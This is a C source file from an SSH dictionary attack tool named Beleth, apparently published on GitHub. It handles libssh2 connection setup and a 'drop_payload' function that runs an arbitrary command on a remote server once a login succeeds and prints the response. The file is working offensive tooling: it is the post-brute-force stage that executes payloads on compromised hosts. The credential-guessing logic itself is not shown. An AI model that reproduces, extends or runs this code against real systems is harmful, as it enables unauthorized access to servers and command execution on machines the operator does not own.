Beleth/ssh.c at master · libin581/Beleth · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
/*
 * Beleth - SSH Dictionary Attack
 * ssh.c -- SSH connection handling functions
 */

#include <libssh2.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>

#include "beleth.h"
#include "ssh.h"
#include "lists.h"

/*
 * Taken from libssh2 examples
 * Used while dropping the payload and waiting for the response.
 */
int waitsocket(int socket_fd, LIBSSH2_SESSION *session) {
	int rc;
	int dir;
	fd_set fd;
	fd_set *writefd = NULL;
	fd_set *readfd = NULL;
	struct timeval timeout = {
		.tv_sec = 10, /* 10 seconds at most */
		.tv_usec = 0  /* nanoseconds */
	};

	FD_ZERO(&fd);

	FD_SET(socket_fd, &fd);

	/* now make sure we wait in the correct direction */
	dir = libssh2_session_block_directions(session);

	if(dir & LIBSSH2_SESSION_BLOCK_INBOUND)
		readfd = &fd;

	if(dir & LIBSSH2_SESSION_BLOCK_OUTBOUND)
		writefd = &fd;

	rc = select(socket_fd + 1, readfd, writefd, NULL, &timeout);

	return rc;
}

/*
 * Close libssh2 variables out and terminate sockfd
 */
void session_cleanup(int sock, LIBSSH2_SESSION *session) {
	libssh2_session_disconnect(session, "exit");
	libssh2_session_free(session);
	close(sock);
}

/*
 * Setup socket file descriptor with a connection
 * to char *host using int port
 * session pointer should be properly initialized prior to calling this
 * session = libssh2_session_init();
 */
int session_init(char *host, int port, LIBSSH2_SESSION *session) {
	int sock,rc;
	unsigned long hostaddr;
	struct sockaddr_in sin;

	hostaddr = inet_addr(host);

	sock = socket(AF_INET, SOCK_STREAM, 0);

	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);
	sin.sin_addr.s_addr = hostaddr;
	if (connect(sock, (struct sockaddr*)(&sin),
				sizeof(struct sockaddr_in)) != 0) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr,"[!] Connect error\n");
		return -1;
	}

	libssh2_session_set_timeout(session, 4000);

	if ((rc=libssh2_session_handshake(session, sock))) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr,"[!] ssh handshake error (%d) with %s:%d\n",rc,host,port);
		return -1;
	}

	return sock;

}

/*
 * drop_payload
 * Send command to remote server on connect.
 * Returns -1 on error, 1 on success.
 */
int drop_payload(int sock, LIBSSH2_SESSION *session, char *cmdline) {
	int rc;
	LIBSSH2_CHANNEL *channel;

	/* Request a shell */
	if (!(channel = libssh2_channel_open_session(session))) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr, "[!] Unable to open a session\n");
		session_cleanup(sock, session);
	}

	/* Execute cmdline remotely and display response */
	while ( ( rc = libssh2_channel_exec(channel, cmdline) ) == LIBSSH2_ERROR_EAGAIN )
		waitsocket(sock,session);

	if (rc != 0) {
		if (verbose >= VERBOSE_DEBUG)
			fprintf(stderr, "[!] CMD Exec failed.\n");
		return -1;
	}

	while(1) {
		do
		{
			char buffer[65535];
			rc = libssh2_channel_read( channel, buffer, sizeof(buffer) );

			if (rc > 0)
				printf("[*] %s",buffer);
		}while (rc > 0);

		if ( rc == LIBSSH2_ERROR_EAGAIN )
			waitsocket(sock, session);
		else
			break;
	}

	while ( (rc = libssh2_channel_close(channel)) == LIBSSH2_ERROR_EAGAIN )
		waitsocket(sock,session);

	if (channel) {
		libssh2_channel_free(channel);

		channel = NULL;
	}

	return 1;
}